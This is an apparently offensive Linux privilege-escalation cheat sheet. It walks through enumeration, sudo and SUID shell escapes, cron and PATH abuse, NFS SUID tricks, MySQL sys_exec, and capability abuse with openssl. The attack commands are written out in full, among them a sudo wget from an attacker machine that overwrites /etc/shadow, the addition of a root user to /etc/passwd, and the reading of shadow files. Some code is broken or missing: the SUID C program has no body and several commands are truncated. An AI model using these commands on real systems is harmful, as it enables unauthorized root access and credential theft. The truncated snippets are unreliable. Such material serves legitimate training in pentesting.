Privilege escalation: Linux

Sure, most things on a network are Windows, but there are lots of other devices that run Linux, like firewalls, routers and web servers. Once you've got a low-privilege shell on Linux, privilege escalation usually happens via kernel exploit or by taking advantage of misconfigurations.

Gathering system information

Kernel and architecture

Check system architecture to identify kernel exploits:

uname -a
cat /proc/version
cat /etc/issue

Exploits can be discovered by using Exploit-DB or searchsploit in Kali:

searchsploit linux kernel 3.9

Use the filter to remove unwanted results, such as dos exploits:


Don't use kernel exploits if you can avoid it. They can crash the machine, make it unstable or add a lot of data to sys.log.


Identify users on the system with the following commands:

cat /etc/passwd

You should also look at home directories for users, since that may point the way to more interesting information.

Networking information

The following commands retrieve networking information such as the available network adapters and configuration, routes, active connections and other network related information.

Network adapters:

ifconfig -a



Active connections:

netstat -antup

ARP entries:

arp -e

Services only available locally

You might discover that there is a service running that is that is only available from that host (e.g. VNC root remote desktop only accessible from localhost). You can't connect to the service from the outside, only once you're inside. It might be a development server, a database, or anything else. These services might be running as root, or they may have vulnerabilities.

To find these services, check netstat and compare the results with the nmap scan from the outside to see if there are additional services available inside:

netstat -anlp
netstat -ano

Applications and services

Running services may have elevated privileges or known vulnerabilities that could be exploited.

Retrieve information about running applications and services:

ps aux



Filter for those running as root:

ps aux | grep root

Debian and derivatives:

dpkg -l

Fedora and derivatives:

rpm -qa

OpenBSD, FreeBSD:


Common locations for user installed software:


List configuration files in the etc directory:

ls -ls /etc/ | grep .conf

If you find any strange-looking binaries, make sure to run strings on them to see if they have interesting text inside.

Files and filesystems

Find unmounted file systems:

mount -l
cat /etc/fstab

Writable files and directories

If you find a script that is owned by root but is writable by anyone you can add your own malicious code in that script that will escalate your privileges when the script is run as root. It might be part of a cronjob, or otherwise automated, or it might be run manually by a sysadmin. You can also check scripts that are called by these scripts.

World writable directories:

find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root

World writable directories for root:

find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root

World writable files:

find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null

World writable files in /etc/:

find /etc -perm -2 -type f 2>/dev/null

World writable directories:

find / -writable -type d 2>/dev/null

Bad PATH configuration

Some sysadmins are lazy and would rather type $script instead of $./script to run something. They do this by adding . to their PATH.

If an attacker knows that a user has sudo privileges to change passwords (including root), they can place a fake program in a commonly-visited directory. For example, they might place a program called ls in a folder that changes the root password when the ls command is executed there.

Having . in your PATH can also help the attacker if exploiting programs that make system(), execvp(), or execlp() calls to programs, if they do not specify the full path to the program the attacker can place a program into a directory in the PATH, so that program is run instead - this works because programmers just expect that the program they mean to run will be in the PATH.

To add . to your path:

export PATH

NFS Share

If you find that a machine has a NFS share you might be able to use that to escalate privileges if it's misconfigured.

Check if the target machine has any NFS shares:

showmount -e [host]

If it does, then mount it to your filesystem:

mount [host]:/ /tmp/

If that succeeds then you can go to /tmp/share and look for interesting files. Test if you can create files, then check with your low-priv shell what user has created that file. If it says root has created the file, then you can create a file and set it with suid-permission from your attacking machine, then execute it with your low privilege shell.

This code can be compiled and added to the share. Before executing it by your low-priv user make sure to set the SUID-bit on it, like this:

chmod 4777 exploit
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
    return 0;


If the current user is part of the sudo group, they can execute commands as root without the root password, their user password, or none at all.

Display a list of commands that can be executed as super user:

sudo -l

Also doesn't hurt to try and spawn a root shell:

sudo su

Abusing sudo

If you have a limited shell that has access to some programs using sudo you might be able to escalate your privileges with any program that can write or overwrite files. For example, if you have sudo rights to cp you can overwrite /etc/shadow or /etc/sudoers with your own malicious file.

Similarly, if you have sudo rights to wget you can use it in combination with python's SimpleHTTPServer to overwrite /etc/passwd or /etc/shadow using the following commands:

cd /etc/
python -m SimpleHTTPServer 8080
sudo wget http://[attack machine]:8080/evilshadowfile -O shadow

Using less you can go into vi, and then into a shell:

sudo less /etc/shadow

Using more with a file that is bigger than your screen:

sudo more /home/user/myfile

Using find:

sudo find / -exec bash -i \;
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;


sudo perl
exec "/bin/bash";


sudo python
import os

Using tcpdump:

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

Using vi or vim:

sudo vi

:set shell=/bin/bash:shell    


SUID stands for set user ID and allows low-privileged users to execute the file as the file owner. This is especially useful when an application requires temporary root privileges to run effectively. Examples of such applications include ping and nmap which both need root permissions to open raw network sockets and create network packets. In general, this enhances security because you can grant root privileges to a single application isntead of a user account. However, SUID can be a serious security issue when that application is able to execute commands or edit files.

Command execution happens in the context of the service or the program that executes it. When the SUID is set as root then commands will be executed as root. The same applies to programs that are able to edit files, such as vi, nano and leafpad. Configuring these programs to execute as root would be a serious security vulnerability because any user could edit any file on the system.

Similarly, GUID means the program is run as the group, not the user who runs it.

Find SUID and GUID programs:

find /* -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

Abusing SUID nano

If nano (or any other text editor) has a SUID-bit, it can be used to edit /etc/passwd to change the root password.

Passwd is a text file containing user records and is located in the /etc/ directory. For example, the entry for root looks like this:


The fields from left to right contain:

  1. Username

  2. Password. The x means that the actual password is stored in /etc/shadow/ but you can replace the x with a crypt hash from the password and a salt

  3. User identifier

  4. Group identifier, contains the primary user group

  5. Gecos field, a user record containing information about the user such as the full name

  6. Path to the home directory

  7. Command line shell when the user logs in

To add a new root user to the file, we need to generate a crypt hash from the password. An easy way to do this is to use Perl or Python and print the results to the terminal:

perl -e 'print crypt("YourPasswd", "salt"),"\n"'

For example, generate a crypt hash from password ‘cheese1’ and salt ‘cheese1’:

perl -e 'print crypt("cheese1", "cheese1"),"\n"'

With this password hash, we can add the following line to the passwd file:


Save the file by pressing ctrl+x and hit Enter. Use the su command to switch to the newly created user:

su cheese1

Then enter the password: cheese1

Weak passwords

Passwords are often reused and found in plaintext configuration files, especially for web servers and databases. Sometimes the default password is used (e.g. tomcat/s3cret) or password files for other users are stored in the users home directory.

Here are some more places with interesting files.

Configuration and password files

List configuration files in the etc directory:

ls -ls /etc/ | grep .conf

Check home directory:

ls -la /home/user

Check mail directory:

ls -la /var/spool/mail

Script search for passwords:

./ -t -k password

Check web root:

ls -la /var/www/html/

Web content management systems such as Joomla and WordPress contain configuration files called configuration.php and wp-config.php respectively. These configuration files include valuable information such as the MySQL username and password. Web administrators often re-use passwords for system accounts.

Common passwords

username:password, password123


Cron jobs can be exploited by looking scheduled tasks owned by privileged user but editable by your user. For example, a world writable script set to run every hour as root could be edited by you to run malicious superuser commands.

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Decipher and create cron schedules here.


If you're able to discover MySQL credentials (e.g. from a WorPress configuration file) and there is a remote administration service available (usually port 3306) you can connect to it and inspect databases and their contents.

Enumerate users


msf > use auxiliary/scanner/mysql/mysql_login


nmap --script=mysql-enum [host]

Inspect database

MySQL remote admin allows you to enumerate databases and potentially dump passwords.


mysql -u [user] -h [host] -p

Sometimes you can only access mysql locally. If you have a shell, you can connect to mysql using -h localhost .

Show databases and select one:

show databases;
use [database name];
Show tables;

Dump database information:


Finding and dumping password tables can provide you with plaintext passwords, hashes or salted hashes. Researching the database/application will tell you the format of a hashed password, which can then be cracked by John or Hashcat.

A more comprehensive list of commands can be found in this cheat sheet.

Running as root

If you find that mysql is running as root and you use your username and password to log in to the database you can issue the following commands:

select sys_exec('whoami');
select sys_eval('whoami');

If neither of those work you can use a User Defined Function


Capabilities are a little obscure but similar in principle to SUID. Linux’s thread/process privilege checking is based on capabilities: flags to the thread that indicate what kind of additional privileges they’re allowed to use. By default, root has all of them.




Override read/write/execute permission checks (full filesystem access)


Only override reading files and opening/listing directories (full filesystem READ access)


Can send any signal to any process (such as sig kill)


Ability to call chroot()

Capabilities are useful when you want to restrict your own processes after performing privileged operations (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.

You can force capabilities upon programs using setcap, and query these using getcap:

getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

The +ep means you’re adding the capability (“-” would remove it) as Effective and Permitted.

To identify programs in a system or folder with capabilities:

getcap -r /
getcap -r /etc

The special case of "empty" capabilities

Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:

  1. is not owned by root

  2. has no SUID/SGID bits set

  3. has empty capabilities set (e.g.: getcap myelf returns myelf =ep)

then that binary will run as root.

Let's say, for example, you find a copy of openssl hidden somewhere (a user's home folder, for example), you could use it to read any file you wanted, like this:

# Make some SSL certificate
cd /tmp
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

# Start our "empty capabilities binary"
# For this example we are
#   uid=1000(mydummyuser) gid=1000(mydummyuser) groups=1000(mydummyuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# and our openssl elf is in our home directory
#   -rwxr-xr-x. 1 mydummyuser mydummyuser 555296 Apr 1  2019 /home/mydummyuser/openssl
#   /home/mydummyuser/openssl =ep
# First, we change directory to the root filesystem, because openssl's HTTP server
# interprets GET requests relative to pwd/cwd
# That means, if you are in /home/mydummyuser when you start the server,
# and you request 'https://localhost:1337/etc/shadow',
# it would try to server '/home/mydummyuser/etc/shadow' and would fail, as it does not exist
# (and probably even if it did, it would not be what we wanted)
# Also, using '..' in the path, to trick it to access files from parent directories, does not work
cd /
/home/mydummyuser/openssl openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP
# Now we can read any file, with curl (use '-k' to ignore ssl trust issues)
curl -k https://localhost:1337/etc/shadow

But we could go a step further: rewrite /etc/shadow to change the root password. Since we already have the original file, all we need to do is change the root password, and then abuse openssl's encrypt/decrypt functions.

Assuming we already changed the root password and saved the new file as /home/mydummyuser/shadow.custom, we first need to encrypt it (so we have what to decrypt):

# We are reusing the certificates created before
openssl smime -encrypt -aes256 -in /home/mydummyuser/shadow.custom -binary -outform DER -out /home/mydummyuser/shadow.custom.enc /tmp/cert.pem

And then we decrypt it with:

/home/ldapuser1/openssl smime -decrypt -in /home/mydummyuser/shadow.custom -inform DER -inkey /tmp/key.pem -out /etc/shadow

Now, all we need to do is su - root, et voilà!

Most of this content is from here.

GNU C Library

There is an obscure C Library exploit that isn't obvious unless you check for the GNU C library version:

cd lib
GNU C Library (Ubuntu EGLIBC 2.11.1-0ubuntu7) stable release version 2.11.1, by Roland McGrath et al.
Copyright (C) 2009 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
Compiled by GNU CC version 4.4.3.

Enumeration scripts

Enumeration scripts are an alternative to manual enumeration. However, they are 'dumb' and produce a lot of output, so obvious vulnerabilities can be missed. Manual enumeration is also useful for learning how a Linux system is set up and recognizing when something is amiss.


Linenum is a shell script that checks for privilege escalation opportunities.


-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text


Unix-privesc-check is a script for Unix machines, but will also work on Linux. Output can be saved in a file and grep'd for Warning items.

./unix-privesc-check > output.txt

Linuxprivchecker checks for vulnerabilities and also suggests kernel exploits, however many of them are unreliable or don't work on the architecture.

Further reading

Last updated